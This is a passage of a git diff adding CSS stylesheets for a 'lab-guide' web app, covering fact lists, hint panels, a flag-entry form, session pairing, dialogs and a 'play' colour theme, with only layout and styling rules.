+    padding-top: 22px;
+  }
+
+  .hypothesis-fieldset legend {
+    padding-inline: 0;
+    font-size: 17px;
+  }
+
+  .hypothesis-option {
+    grid-template-columns: 34px minmax(0, 1fr) 24px;
+    gap: 10px;
+    min-height: 68px;
+    padding-inline: 12px;
+    font-size: 14px;
+  }
+
+  .hypothesis-option > svg:first-child {
+    width: 30px;
+    height: 30px;
+  }
+
+  .hypothesis-explanation {
+    grid-template-columns: 44px minmax(0, 1fr);
+    gap: 13px;
+    padding: 16px;
+  }
+
+  .hypothesis-explanation > svg {
+    width: 42px;
+    height: 42px;
+    padding: 9px;
+  }
+
+  .hypothesis-explanation h2 {
+    font-size: 16px;
+  }
+
+  .consultation-actions,
+  .dialog-actions {
+    display: grid;
+    gap: 10px;
+  }
+
+  .consultation-actions .primary-action,
+  .consultation-actions .secondary-action {
+    width: 100%;
+    min-width: 0;
+  }
+
+  .hint-step > button {
+    min-height: 64px;
+  }
+
+  .hint-content {
+    min-height: 0;
+  }
+
+  .manual-flag-controls {
+    grid-template-columns: 1fr;
+  }
+
+  .end-session-dialog {
+    padding: 30px 20px 22px;
+  }
+}
diff --git a/apps/lab-guide/src/styles/shared.css b/apps/lab-guide/src/styles/shared.css
new file mode 100644
index 0000000..164017e
--- /dev/null
+++ b/apps/lab-guide/src/styles/shared.css
@@ -0,0 +1,788 @@
+.lab-screen {
+  min-height: calc(100dvh - var(--header-height));
+}
+
+.rail-heading {
+  display: flex;
+  align-items: center;
+  gap: 12px;
+  margin-bottom: 24px;
+  font-family: var(--heading);
+  font-size: 20px;
+  line-height: 1.4;
+}
+
+.rail-heading svg {
+  width: 27px;
+  height: 27px;
+  color: var(--primary);
+  stroke-width: 1.75;
+}
+
+.rail-heading-label {
+  min-width: 0;
+  word-break: keep-all;
+}
+
+.known-facts {
+  display: flex;
+  flex-direction: column;
+  min-width: 0;
+  padding: 34px 26px 24px;
+  overflow-y: auto;
+  background: var(--surface);
+  border-right: 1px solid var(--border);
+}
+
+.fact-list {
+  display: flex;
+  flex-direction: column;
+  gap: 0;
+  padding: 0;
+  margin: 0;
+  list-style: none;
+}
+
+.fact-item {
+  display: grid;
+  grid-template-columns: 54px minmax(0, 1fr);
+  gap: 14px;
+  align-items: center;
+  min-height: 88px;
+  padding: 14px 0;
+  border-bottom: 1px solid var(--border);
+}
+
+.known-facts--detailed .fact-item {
+  grid-template-columns: 20px 56px minmax(0, 1fr);
+  gap: 13px;
+  min-height: 94px;
+  padding: 10px 0;
+  border-bottom: 0;
+}
+
+.fact-check {
+  align-self: start;
+  display: grid;
+  width: 20px;
+  height: 20px;
+  margin-top: 9px;
+  color: white;
+  background: var(--success);
+  border-radius: 50%;
+  place-items: center;
+}
+
+.fact-check svg {
+  width: 14px;
+  height: 14px;
+  stroke-width: 3;
+}
+
+.fact-icon {
+  display: grid;
+  width: 54px;
+  height: 54px;
+  color: var(--text);
+  background: var(--surface);
+  border: 1px solid var(--border);
+  border-radius: 6px;
+  place-items: center;
+}
+
+.fact-icon svg {
+  width: 29px;
+  height: 29px;
+}
+
+.fact-copy {
+  min-width: 0;
+}
+
+.fact-copy strong {
+  display: block;
+  font-size: 16px;
+  font-weight: 620;
+  line-height: 1.55;
+}
+
+.fact-copy small {
+  display: block;
+  margin-top: 3px;
+  color: var(--muted-text);
+  font-size: 13px;
+  line-height: 1.55;
+}
+
+.facts-empty {
+  display: grid;
+  padding: 26px 18px;
+  text-align: center;
+  background: var(--muted-surface);
+  border: 1px solid var(--border);
+  border-radius: 6px;
+  place-items: center;
+}
+
+.facts-empty svg {
+  width: 32px;
+  height: 32px;
+  margin-bottom: 12px;
+  color: var(--primary);
+}
+
+.facts-empty p {
+  margin-bottom: 6px;
+  font-weight: 650;
+}
+
+.facts-empty small {
+  color: var(--muted-text);
+  line-height: 1.6;
+}
+
+.rail-card {
+  display: grid;
+  grid-template-columns: 38px minmax(0, 1fr);
+  gap: 12px;
+  padding: 20px 16px;
+  margin-top: 18px;
+  background: var(--surface);
+  border: 1px solid var(--border);
+  border-radius: 6px;
+}
+
+.rail-card > svg {
+  width: 30px;
+  height: 30px;
+  stroke-width: 1.7;
+}
+
+.rail-card h3 {
+  margin-bottom: 7px;
+  font-size: 14px;
+  font-weight: 650;
+}
+
+.rail-card p {
+  margin-bottom: 0;
+  font-size: 15px;
+  line-height: 1.5;
+}
+
+.progress-card p {
+  margin-bottom: 12px;
+}
+
+.progress-card p strong {
+  margin-left: 4px;
+  font-family: var(--mono);
+  font-size: 23px;
+  font-weight: 520;
+}
+
+.progress-card progress {
+  width: 100%;
+  height: 13px;
+  overflow: hidden;
+  accent-color: var(--success);
+  background: var(--muted-surface);
+  border: 1px solid var(--border);
+  border-radius: 3px;
+}
+
+.progress-card progress::-webkit-progress-bar {
+  background: var(--muted-surface);
+}
+
+.progress-card progress::-webkit-progress-value {
+  background: var(--success);
+}
+
+.progress-card progress::-moz-progress-bar {
+  background: var(--success);
+}
+
+.direct-connection {
+  display: grid;
+  grid-template-columns: 1fr auto 1fr;
+  gap: 8px;
+  align-items: center;
+  margin-top: auto;
+  padding-top: 24px;
+}
+
+.direct-connection > span {
+  display: grid;
+  gap: 5px;
+  justify-items: center;
+  min-width: 0;
+  text-align: center;
+}
+
+.direct-connection svg {
+  width: 34px;
+  height: 34px;
+  color: var(--muted-text);
+  stroke-width: 1.55;
+}
+
+.direct-connection small {
+  color: var(--muted-text);
+  font-size: 11px;
+  line-height: 1.35;
+}
+
+.connection-mark svg {
+  width: 66px;
+  color: var(--success);
+}
+
+.event-strip {
+  display: grid;
+  grid-template-columns: 150px minmax(0, 1fr) minmax(220px, 290px);
+  align-items: center;
+  min-width: 0;
+  min-height: 96px;
+  padding: 12px 24px;
+  background: var(--surface);
+  border-top: 1px solid var(--border);
+}
+
+.event-strip > h2 {
+  display: flex;
+  align-items: center;
+  gap: 10px;
+  margin: 0;
+  font-family: var(--heading);
+  font-size: 17px;
+}
+
+.event-strip > h2 svg {
+  width: 22px;
+  height: 22px;
+}
+
+.event-list {
+  display: grid;
+  grid-template-columns: repeat(3, minmax(0, 1fr));
+  min-width: 0;
+  padding: 0;
+  margin: 0;
+  list-style: none;
+}
+
+.event-list li {
+  display: grid;
+  align-content: center;
+  min-width: 0;
+  min-height: 58px;
+  padding: 0 17px;
+  border-left: 1px solid var(--border);
+}
+
+.event-list time {
+  margin-bottom: 5px;
+  color: var(--muted-text);
+  font-family: var(--mono);
+  font-size: 11px;
+}
+
+.event-list span {
+  display: -webkit-box;
+  overflow: hidden;
+  font-size: 12px;
+  line-height: 1.5;
+  -webkit-box-orient: vertical;
+  -webkit-line-clamp: 2;
+}
+
+.events-empty {
+  margin: 0;
+  color: var(--muted-text);
+  font-size: 13px;
+}
+
+.telemetry-note {
+  display: flex;
+  align-items: center;
+  gap: 9px;
+  min-width: 0;
+  padding-left: 18px;
+  color: var(--muted-text);
+  font-size: 12px;
+  line-height: 1.5;
+}
+
+.telemetry-note svg {
+  flex: 0 0 auto;
+  width: 22px;
+  height: 22px;
+}
+
+.telemetry-note--live svg {
+  color: var(--success);
+}
+
+.telemetry-note--reconnecting svg,
+.telemetry-note--loading svg {
+  color: var(--warning);
+}
+
+.telemetry-note--unavailable svg {
+  color: var(--danger);
+}
+
+.connection-banner {
+  display: grid;
+  grid-template-columns: 28px minmax(0, 1fr) auto;
+  gap: 12px;
+  align-items: center;
+  min-height: 58px;
+  padding: 10px 14px;
+  margin-bottom: 18px;
+  color: var(--text);
+  background: var(--muted-surface);
+  border: 1px solid var(--border);
+  border-left: 4px solid var(--warning);
+  border-radius: 4px;
+}
+
+.connection-banner--unavailable {
+  border-left-color: var(--danger);
+}
+
+.connection-banner > svg {
+  width: 25px;
+  height: 25px;
+  color: var(--warning);
+}
+
+.connection-banner--unavailable > svg {
+  color: var(--danger);
+}
+
+.connection-banner strong,
+.connection-banner span {
+  display: block;
+}
+
+.connection-banner strong {
+  margin-bottom: 2px;
+  font-size: 14px;
+}
+
+.connection-banner span {
+  color: var(--muted-text);
+  font-size: 12px;
+  line-height: 1.45;
+}
+
+.connection-banner button {
+  display: inline-flex;
+  align-items: center;
+  gap: 7px;
+  min-height: 44px;
+  padding: 0 12px;
+  background: var(--surface);
+  border: 1px solid var(--border);
+  border-radius: 4px;
+  font-size: 13px;
+  font-weight: 650;
+}
+
+.connection-banner button svg {
+  width: 18px;
+  height: 18px;
+}
+
+.experience-label {
+  flex: 0 0 auto;
+  display: inline-flex;
+  align-items: center;
+  min-height: 30px;
+  padding: 0 9px;
+  color: var(--muted-text);
+  background: var(--muted-surface);
+  border: 1px solid var(--border);
+  border-radius: 4px;
+  font-family: var(--mono);
+  font-size: 9px;
+  font-weight: 720;
+  letter-spacing: 0.04em;
+  white-space: nowrap;
+}
+
+.experience-label--live {
+  color: var(--success);
+  border-color: color-mix(in srgb, var(--success) 45%, var(--border));
+}
+
+.session-pairing {
+  display: grid;
+  grid-template-columns: 48px minmax(220px, 1fr) minmax(300px, 360px);
+  gap: 14px;
+  align-items: center;
+  min-height: 88px;
+  padding: 12px 14px;
+  margin-bottom: 16px;
+  background: var(--surface);
+  border: 1px solid var(--border);
+  border-radius: 5px;
+  box-shadow: 0 8px 24px var(--ink-shadow);
+}
+
+.session-pairing-icon {
+  display: grid;
+  width: 46px;
+  height: 46px;
+  color: var(--primary);
+  background: var(--muted-surface);
+  border: 1px solid var(--border);
+  border-radius: 4px;
+  place-items: center;
+}
+
+.session-pairing-icon svg {
+  width: 25px;
+  height: 25px;
+}
+
+.session-pairing-copy h2 {
+  margin: 0 0 3px;
+  font-family: var(--heading);
+  font-size: 15px;
+  line-height: 1.4;
+}
+
+.session-pairing-copy p {
+  max-width: 58ch;
+  margin: 0;
+  color: var(--muted-text);
+  font-size: 11px;
+  line-height: 1.6;
+}
+
+.session-pairing form {
+  min-width: 0;
+}
+
+.session-pairing label {
+  display: flex;
+  justify-content: space-between;
+  gap: 12px;
+  margin-bottom: 5px;
+  font-size: 11px;
+  font-weight: 700;
+}
+
+.session-pairing label span {
+  color: var(--muted-text);
+  font-size: 9px;
+  font-weight: 500;
+}
+
+.session-pairing-controls {
+  display: grid;
+  grid-template-columns: minmax(0, 1fr) auto;
+  gap: 7px;
+}
+
+.session-pairing-input {
+  display: grid;
+  grid-template-columns: 28px minmax(0, 1fr);
+  align-items: center;
+  min-width: 0;
+  min-height: 44px;
+  padding-left: 8px;
+  color: var(--muted-text);
+  background: var(--canvas);
+  border: 1px solid var(--border);
+  border-radius: 4px;
+}
+
+.session-pairing-input:focus-within {
+  border-color: var(--primary);
+}
+
+.session-pairing-input svg {
+  width: 18px;
+  height: 18px;
+}
+
+.session-pairing-input input {
+  width: 100%;
+  min-width: 0;
+  min-height: 42px;
+  padding: 0 8px 0 2px;
+  color: var(--text);
+  background: transparent;
+  border: 0;
+  outline: 0;
+  font-family: var(--mono);
+  font-size: 17px;
+  font-weight: 720;
+  letter-spacing: 0.16em;
+  text-transform: uppercase;
+}
+
+.session-pairing .primary-action {
+  min-height: 44px;
+  padding-inline: 13px;
+  font-size: 12px;
+  white-space: nowrap;
+}
+
+.session-pairing .primary-action svg {
+  width: 18px;
+  height: 18px;
+}
+
+.session-pairing-error {
+  margin: 6px 0 0;
+  color: var(--danger);
+  font-size: 10px;
+  line-height: 1.45;
+}
+
+@keyframes state-arrive {
+  from {
+    opacity: 0.48;
+    transform: translateY(4px);
+  }
+}
+
+.is-live-update .fact-list .fact-item:last-child,
+.is-live-update .event-list li:last-child,
+.is-live-update .selected-node-brief {
+  animation: state-arrive 220ms var(--ease-out) both;
+}
+
+.manual-flag-form {
+  padding: 16px;
+  margin-top: 18px;
+  background: color-mix(in srgb, var(--danger) 4%, var(--surface));
+  border: 1px solid color-mix(in srgb, var(--danger) 30%, var(--border));
+  border-radius: 6px;
+}
+
+.manual-flag-heading {
+  display: flex;
+  gap: 10px;
+  align-items: center;
+  margin-bottom: 12px;
+}
+
+.manual-flag-heading svg {
+  width: 25px;
+  height: 25px;
+  color: var(--danger);
+}
+
+.manual-flag-heading strong,
+.manual-flag-heading small {
+  display: block;
+}
+
+.manual-flag-heading strong {
+  font-size: 14px;
+}
+
+.manual-flag-heading small {
+  margin-top: 2px;
+  color: var(--muted-text);
+  font-size: 11px;
+}
+
+.manual-flag-form label {
+  display: block;
+  margin-bottom: 7px;
+  font-size: 12px;
+  font-weight: 650;
+}
+
+.manual-flag-controls {
+  display: grid;
+  grid-template-columns: minmax(0, 1fr) auto;
+  gap: 8px;
+}
+
+.manual-flag-controls input {
+  width: 100%;
+  min-width: 0;
+  min-height: 44px;
+  padding: 0 10px;
+  color: var(--text);
+  background: var(--surface);
+  border: 1px solid var(--border);
+  border-radius: 4px;
+  font-family: var(--mono);
+  font-size: 12px;
+}
+
+.manual-flag-controls button {
+  display: inline-flex;
+  align-items: center;
+  gap: 6px;
+  min-height: 44px;
+  padding: 0 11px;
+  color: white;
+  background: var(--danger);
+  border: 1px solid var(--danger);
+  border-radius: 4px;
+  font-size: 12px;
+  font-weight: 650;
+}
+
+.manual-flag-controls button svg {
+  width: 16px;
+  height: 16px;
+}
+
+.manual-flag-result {
+  min-height: 18px;
+  margin: 8px 0 0;
+  font-size: 11px;
+  line-height: 1.5;
+}
+
+.manual-flag-result.is-accepted {
+  color: var(--success);
+}
+
+.manual-flag-result.is-rejected {
+  color: var(--danger);
+}
+
+.primary-action,
+.secondary-action,
+.secondary-button,
+.danger-button {
+  display: inline-flex;
+  align-items: center;
+  justify-content: center;
+  gap: 10px;
+  min-height: 54px;
+  padding: 0 26px;
+  border-radius: 4px;
+  font-weight: 680;
+}
+
+.primary-action {
+  color: white;
+  background: var(--primary);
+  border: 1px solid var(--primary);
+}
+
+.primary-action:hover:not(:disabled) {
+  background: var(--primary-hover);
+}
+
+.secondary-action,
+.secondary-button {
+  color: var(--primary-hover);
+  background: var(--surface);
+  border: 1px solid var(--primary);
+}
+
+.danger-button {
+  color: white;
+  background: var(--danger);
+  border: 1px solid var(--danger);
+}
+
+.initial-state,
+.session-ended-state {
+  display: grid;
+  min-height: calc(100dvh - var(--header-height));
+  padding: 48px 24px;
+  text-align: center;
+  place-content: center;
+  justify-items: center;
+}
+
+.initial-state > svg,
+.session-ended-state > svg {
+  width: 50px;
+  height: 50px;
+  margin-bottom: 20px;
+  color: var(--primary);
+}
+
+.session-ended-state > svg {
+  color: var(--success);
+}
+
+.initial-state h1,
+.session-ended-state h1 {
+  margin-bottom: 12px;
+  font-family: var(--heading);
+  font-size: 30px;
+}
+
+.initial-state p,
+.session-ended-state p {
+  max-width: 560px;
+  margin-bottom: 24px;
+  color: var(--muted-text);
+  line-height: 1.8;
+}
+
+.dialog-backdrop {
+  position: fixed;
+  z-index: 100;
+  inset: 0;
+  display: grid;
+  padding: 20px;
+  background: rgb(31 27 22 / 46%);
+  place-items: center;
+}
+
+.end-session-dialog {
+  position: relative;
+  width: min(100%, 520px);
+  padding: 34px;
+  text-align: center;
+  background: var(--surface);
+  border: 1px solid var(--border);
+  border-radius: 8px;
+  box-shadow: 0 18px 60px rgb(31 27 22 / 18%);
+}
+
+.dialog-close {
+  position: absolute;
+  top: 10px;
+  right: 10px;
+  display: grid;
+  width: 44px;
+  height: 44px;
+  background: transparent;
+  border: 0;
+  border-radius: 4px;
+  place-items: center;
+}
+
+.dialog-symbol {
+  width: 42px;
+  height: 42px;
+  margin-bottom: 14px;
+  color: var(--warning);
+}
+
+.end-session-dialog h2 {
+  margin-bottom: 12px;
+  font-family: var(--heading);
+  font-size: 25px;
+}
+
+.end-session-dialog p {
+  margin-bottom: 26px;
+  color: var(--muted-text);
+  line-height: 1.75;
+}
+
+.dialog-actions {
+  display: flex;
+  justify-content: center;
+  gap: 12px;
+}
diff --git a/apps/lab-guide/src/styles/themes.css b/apps/lab-guide/src/styles/themes.css
new file mode 100644
index 0000000..21e8116
--- /dev/null
+++ b/apps/lab-guide/src/styles/themes.css
@@ -0,0 +1,1884 @@
+/* Shared three-mode shell -------------------------------------------------- */
+
+:root {
+  --accent: var(--primary);
+  --signal: var(--warning);
+  --ink-shadow: rgb(31 27 22 / 16%);
+  --ease-out: cubic-bezier(0.16, 1, 0.3, 1);
+}
+
+.app-root,
+.app-header,
+.known-facts,
+.map-stage,
+.consultation-stage,
+.investigation-rail,
+.hint-rail,
+.event-strip,
+.world-node,
+.investigation-option,
+.hypothesis-option,
+.hint-step,
+.selected-node-brief,
+.primary-action,
+.secondary-action,
+.outline-action,
+.end-session-button,
+.session-pairing,
+.experience-label {
+  transition:
+    color 180ms var(--ease-out),
+    background-color 180ms var(--ease-out),
+    border-color 180ms var(--ease-out),
+    box-shadow 180ms var(--ease-out),
+    transform 180ms var(--ease-out);
+}
+
+.brand-lab {
+  display: grid;
+  gap: 1px;
+  line-height: 1.05;
+}
+
+.brand-lab > span {
+  font-family: var(--mono);
+  font-size: 8px;
+  font-weight: 700;
+  letter-spacing: 0.19em;
+}
+
+.header-actions {
+  display: flex;
+  align-items: center;
+  justify-content: flex-end;
+  gap: 10px;
+  min-width: 0;
+  padding: 0 18px 0 10px;
+}
+
+.theme-switcher {
+  display: inline-grid;
+  grid-template-columns: repeat(3, 66px);
+  gap: 3px;
+  padding: 3px;
+  background: var(--muted-surface);
+  border: 1px solid var(--border);
+  border-radius: 6px;
+}
+
+.theme-switcher button {
+  display: grid;
+  min-width: 0;
+  min-height: 40px;
+  padding: 5px 7px 4px;
+  color: var(--muted-text);
+  background: transparent;
+  border: 1px solid transparent;
+  border-radius: 4px;
+  place-content: center;
+}
+
+.theme-switcher button:hover {
+  color: var(--text);
+}
+
+.theme-switcher button[aria-pressed="true"] {
+  color: var(--text);
+  background: var(--surface);
+  border-color: var(--border);
+  box-shadow: 0 2px 7px var(--ink-shadow);
+}
+
+.theme-switcher span,
+.theme-switcher small {
+  display: block;
+  text-align: center;
+}
+
+.theme-switcher span {
+  font-family: var(--mono);
+  font-size: 10px;
+  font-weight: 760;
+  letter-spacing: 0.08em;
+}
+
+.theme-switcher small {
+  margin-top: 1px;
+  font-size: 8px;
+  line-height: 1.2;
+  white-space: nowrap;
+}
+
+.app-header {
+  grid-template-columns:
+    clamp(240px, 19vw, 310px)
+    minmax(310px, 1fr)
+    auto;
+}
+
+.end-session-button {
+  margin-right: 0;
+}
+
+.stage-intro::before,
+.consultation-intro::before {
+  display: inline-block;
+  margin-bottom: 9px;
+  color: var(--primary);
+  font-family: var(--mono);
+  font-size: 10px;
+  font-weight: 760;
+  letter-spacing: 0.13em;
+}
+
+.stage-intro::before {
+  content: "OPEN WORLD / ROUTE BOARD";
+}
+
+.consultation-intro::before {
+  content: "DECISION SUPPORT / NEXT MOVE";
+}
+
+.world-node {
+  position: relative;
+}
+
+.world-node-index {
+  position: absolute;
+  top: 5px;
+  right: 7px;
+  color: var(--muted-text);
+  font-family: var(--mono);
+  font-size: 8px;
+  font-weight: 700;
+  letter-spacing: 0.08em;
+}
+
+.world-node--undiscovered .world-node-index {
+  top: 50%;
+  right: auto;
+  left: 12px;
+  transform: translateY(-50%);
+}
+
+.selected-node-brief {
+  flex: 0 0 auto;
+  display: grid;
+  grid-template-columns: 48px minmax(0, 1fr) auto auto;
+  gap: 14px;
+  align-items: center;
+  min-height: 80px;
+  padding: 12px 14px;
+  margin: 2px 0 16px;
+  background: var(--surface);
+  border: 1px solid var(--border);
+  border-radius: 6px;
+}
+
+.selected-node-symbol {
+  display: grid;
+  width: 44px;
+  height: 44px;
+  color: var(--primary);
+  border: 1px solid var(--border);
+  border-radius: 5px;
+  place-items: center;
+}
+
+.selected-node-symbol svg {
+  width: 25px;
+  height: 25px;
+}
+
+.selected-node-copy {
+  display: grid;
+  min-width: 0;
+}
+
+.selected-node-copy small {
+  color: var(--primary);
+  font-family: var(--mono);
+  font-size: 9px;
+  font-weight: 720;
+  letter-spacing: 0.08em;
+}
+
+.selected-node-copy strong {
+  margin-top: 2px;
+  font-size: 15px;
+  line-height: 1.4;
+}
+
+.selected-node-copy span {
+  overflow: hidden;
+  margin-top: 1px;
+  color: var(--muted-text);
+  font-size: 11px;
+  line-height: 1.45;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+}
+
+.selected-node-progress {
+  padding: 4px 7px;
+  color: var(--success);
+  border: 1px solid color-mix(in srgb, var(--success) 42%, var(--border));
+  border-radius: 3px;
+  font-family: var(--mono);
+  font-size: 10px;
+  white-space: nowrap;
+}
+
+.selected-node-brief > button {
+  display: inline-flex;
+  align-items: center;
+  gap: 6px;
+  min-height: 44px;
+  padding: 0 13px;
+  color: white;
+  background: var(--primary);
+  border: 1px solid var(--primary);
+  border-radius: 4px;
+  font-size: 12px;
+  font-weight: 700;
+  white-space: nowrap;
+}
+
+.selected-node-brief > button:hover {
+  background: var(--primary-hover);
+  transform: translateX(2px);
+}
+
+.selected-node-brief > button svg {
+  width: 17px;
+  height: 17px;
+}
+
+/* PLAY — Mission Deck ----------------------------------------------------- */
+
+:root[data-theme="play"] {
+  --canvas: #f1eee5;
+  --surface: #fffdf5;
+  --muted-surface: #e8e3d8;
+  --text: #151410;
+  --muted-text: #625f56;
+  --border: #171611;
+  --primary: #007f90;
+  --primary-hover: #006470;
+  --accent: #00c9de;
+  --signal: #ffd600;
+  --success: #087b6f;
+  --warning: #e1a800;
+  --danger: #dd3f3f;
+  --heading:
+    "Noto Sans JP Variable", "Noto Sans JP", "Yu Gothic", sans-serif;
+  --ink-shadow: rgb(21 20 16 / 22%);
+  --header-height: 72px;
+  color: var(--text);
+  background: var(--canvas);
+}
+
+:root[data-theme="play"] body,
+.app-root[data-theme="play"] {
+  background-color: var(--canvas);
+  background-image:
+    linear-gradient(rgb(21 20 16 / 2.5%) 1px, transparent 1px),
+    linear-gradient(90deg, rgb(21 20 16 / 1.8%) 1px, transparent 1px);
+  background-size: 34px 34px;
+}
+
+:root[data-theme="play"] :focus-visible {
+  outline-color: var(--signal);
+}
+
+:root[data-theme="play"] .app-header {
+  color: #fffdf5;
+  background: #11110e;
+  border-bottom: 4px solid var(--accent);
+}
+
+:root[data-theme="play"] .brand-lockup > svg,
+:root[data-theme="play"] .nav-tab {
+  color: #fffdf5;
+}
+
+:root[data-theme="play"] .brand-name {
+  font-weight: 820;
+  letter-spacing: -0.045em;
+}
+
+:root[data-theme="play"] .brand-divider {
+  background: rgb(255 255 255 / 26%);
+}
+
+:root[data-theme="play"] .brand-lab {
+  font-family: var(--body);
+  font-size: 13px;
+  font-weight: 750;
+}
+
+:root[data-theme="play"] .brand-lab > span {
+  color: var(--accent);
+  font-style: italic;
+}
+
+:root[data-theme="play"] .nav-tab {
+  font-family: var(--body);
+  font-size: 16px;
+  font-weight: 760;
+}
+
+:root[data-theme="play"] .nav-tab:hover,
+:root[data-theme="play"] .nav-tab[aria-current="page"] {
+  color: var(--signal);
+}
+
+:root[data-theme="play"] .nav-tab[aria-current="page"]::after {
+  height: 5px;
+  background: var(--signal);
+}
+
+:root[data-theme="play"] .header-actions {
+  background: #11110e;
+}
+
+:root[data-theme="play"] .experience-label {
+  color: #fffdf5;
+  background: #292823;
+  border: 2px solid #4a4942;
+  border-radius: 1px;
+}
+
+:root[data-theme="play"] .experience-label--live {
+  color: var(--signal);
+  border-color: var(--signal);
+}
+
+:root[data-theme="play"] .theme-switcher {
+  background: #292823;
+  border-color: #4a4942;
+  border-radius: 2px;
+}
+
+:root[data-theme="play"] .theme-switcher button {
+  color: #bcb8aa;
+  border-radius: 1px;
+}
+
+:root[data-theme="play"] .theme-switcher button[aria-pressed="true"] {
+  color: #11110e;
+  background: var(--signal);
+  border-color: var(--signal);
+  box-shadow: none;
+}
+
+:root[data-theme="play"] .end-session-button {
+  color: #11110e;
+  background: var(--signal);
+  border: 2px solid var(--signal);
+  border-radius: 2px;
+  box-shadow: 3px 3px 0 #655600;
+  font-weight: 780;
+}
+
+:root[data-theme="play"] .end-session-button:hover:not(:disabled) {
+  color: #11110e;
+  border-color: #fffdf5;
+  transform: translate(-1px, -1px);
+  box-shadow: 4px 4px 0 #655600;
+}
+
+:root[data-theme="play"] .known-facts,
+:root[data-theme="play"] .investigation-rail,
+:root[data-theme="play"] .hint-rail,
+:root[data-theme="play"] .event-strip {
+  background-color: var(--surface);
+  background-image:
+    linear-gradient(rgb(21 20 16 / 2.4%) 1px, transparent 1px),
+    linear-gradient(90deg, rgb(21 20 16 / 1.8%) 1px, transparent 1px);
+  background-size: 22px 22px;
+}
+
+:root[data-theme="play"] .session-pairing {
+  background: var(--signal);
+  border: 3px solid var(--text);
+  border-radius: 2px;
+  box-shadow: 5px 5px 0 var(--text);
+}
+
+:root[data-theme="play"] .session-pairing-icon {
+  color: #fffdf5;
+  background: var(--text);
+  border: 2px solid var(--text);
+  border-radius: 1px;
+}
+
+:root[data-theme="play"] .session-pairing-copy h2 {
+  font-family: var(--body);
+  font-weight: 820;
+  letter-spacing: -0.025em;
+}
+
+:root[data-theme="play"] .session-pairing-copy p,
+:root[data-theme="play"] .session-pairing label span {
+  color: #4c4300;
+}
+
+:root[data-theme="play"] .session-pairing-input {
+  background: #fffdf5;
+  border: 2px solid var(--text);
+  border-radius: 1px;
+}
+
+:root[data-theme="play"] .session-pairing .primary-action {
+  color: #fffdf5;
+  background: var(--text);
+  border: 2px solid var(--text);
+  border-radius: 1px;
+}
+
+:root[data-theme="play"] .known-facts {
+  border-right: 3px solid var(--text);
+}
+
+:root[data-theme="play"] .investigation-rail,
+:root[data-theme="play"] .hint-rail {
+  border-left: 3px solid var(--text);
+}
+
+:root[data-theme="play"] .rail-heading {
+  font-family: var(--body);
+  font-size: 21px;
+  font-weight: 830;
+  letter-spacing: -0.025em;
+}
+
+:root[data-theme="play"] .rail-heading svg {
+  color: var(--primary);
+}
+
+:root[data-theme="play"] .fact-check {
+  color: #11110e;
+  background: var(--accent);
+  border: 2px solid #11110e;
+}
+
+:root[data-theme="play"] .fact-icon {
+  border: 2px solid var(--text);
+  border-radius: 3px;
+  box-shadow: 3px 3px 0 var(--muted-surface);
+}
+
+:root[data-theme="play"] .fact-copy strong {
+  font-weight: 760;
+}
+
+:root[data-theme="play"] .rail-card {
+  background: var(--surface);
+  border: 2px solid var(--text);
+  border-radius: 2px;
+  box-shadow: 4px 4px 0 var(--muted-surface);
+}
+
+:root[data-theme="play"] .progress-card progress {
+  height: 15px;
+  background: #d6d0c3;
+  border: 2px solid var(--text);
+  border-radius: 1px;
+}
+
+:root[data-theme="play"] .progress-card progress::-webkit-progress-value {
+  background: var(--accent);
+}
+
+:root[data-theme="play"] .progress-card progress::-moz-progress-bar {
+  background: var(--accent);
+}
+
+:root[data-theme="play"] .map-stage,
+:root[data-theme="play"] .consultation-stage {
+  background-color: #f7f3e9;
+  background-image:
+    radial-gradient(circle at 18% 24%, rgb(0 127 144 / 05%) 0 1px, transparent 2px),
+    linear-gradient(rgb(21 20 16 / 2.5%) 1px, transparent 1px);
+  background-size: 17px 17px, 100% 42px;
+}
+
+:root[data-theme="play"] .stage-intro::before,
+:root[data-theme="play"] .consultation-intro::before {
+  padding: 4px 8px;
+  color: #10100d;
+  background: var(--accent);
+  transform: rotate(-1deg);
+}
+
+:root[data-theme="play"] .stage-intro h1,
+:root[data-theme="play"] .consultation-intro h1 {
+  font-family: var(--heading);
+  font-weight: 850;
+  letter-spacing: -0.045em;
+}
+
+:root[data-theme="play"] .map-toolbar {
+  padding: 0 12px;
+  background: #12120f;
+  border-left: 7px solid var(--signal);
+}
+
+:root[data-theme="play"] .map-toolbar h2,
+:root[data-theme="play"] .map-toolbar h2 svg,
+:root[data-theme="play"] .map-legend {
+  color: #fffdf5;
+}
+
+:root[data-theme="play"] .map-legend span:nth-child(1) svg {
+  color: var(--accent);
+}
+
+:root[data-theme="play"] .map-legend span:nth-child(2) svg {
+  color: var(--signal);
+}
+
+:root[data-theme="play"] .world-node {
+  min-height: 82px;
+  background: #fffdf5;
+  border: 2px solid var(--text);
+  border-radius: 3px;
+  box-shadow: 5px 5px 0 #d5d0c4;
+}
+
+:root[data-theme="play"] .world-node--discovered {
+  border-color: var(--primary);
+}
+
+:root[data-theme="play"] .world-node--selected,
+:root[data-theme="play"] .world-node.is-focused {
+  background: #fff8bd;
+  border: 3px solid var(--text);
+  box-shadow:
+    0 0 0 5px var(--signal),
+    7px 7px 0 rgb(21 20 16 / 20%);
+  transform: translateY(-2px) rotate(-0.35deg);
+}
+
+:root[data-theme="play"] .world-node--undiscovered {
+  background: rgb(255 253 245 / 60%);
+  border: 2px dashed #6d685d;
+  box-shadow: none;
+}
+
+:root[data-theme="play"] .world-node-index {
+  padding: 1px 4px;
+  color: #11110e;
+  background: var(--signal);
+}
+
+:root[data-theme="play"] .world-node--undiscovered .world-node-index {
+  color: var(--muted-text);
+  background: transparent;
+}
+
+:root[data-theme="play"] .world-node-copy em {
+  color: #0e3d42;
+  background: #c8f7f4;
+  border-color: var(--primary);
+  font-weight: 750;
+}
+
+:root[data-theme="play"] .react-flow__edge-path {
+  stroke: #171611;
+  stroke-width: 2.3;
+}
+
+:root[data-theme="play"] .world-edge--possible .react-flow__edge-path {
+  stroke: #716c62;
+  stroke-dasharray: 8 6;
+}
+
+:root[data-theme="play"] .selected-node-brief {
+  color: #fffdf5;
+  background: #11110e;
+  border: 3px solid #11110e;
+  border-radius: 2px;
+  box-shadow: 6px 6px 0 var(--signal);
+}
+
+:root[data-theme="play"] .selected-node-symbol {
+  color: var(--signal);
+  border-color: #5d5a51;
+  border-radius: 2px;
+}
+
+:root[data-theme="play"] .selected-node-copy small {
+  color: var(--accent);
+}
+
+:root[data-theme="play"] .selected-node-copy span {
+  color: #c9c5ba;
+}
+
+:root[data-theme="play"] .selected-node-progress {
+  color: var(--signal);
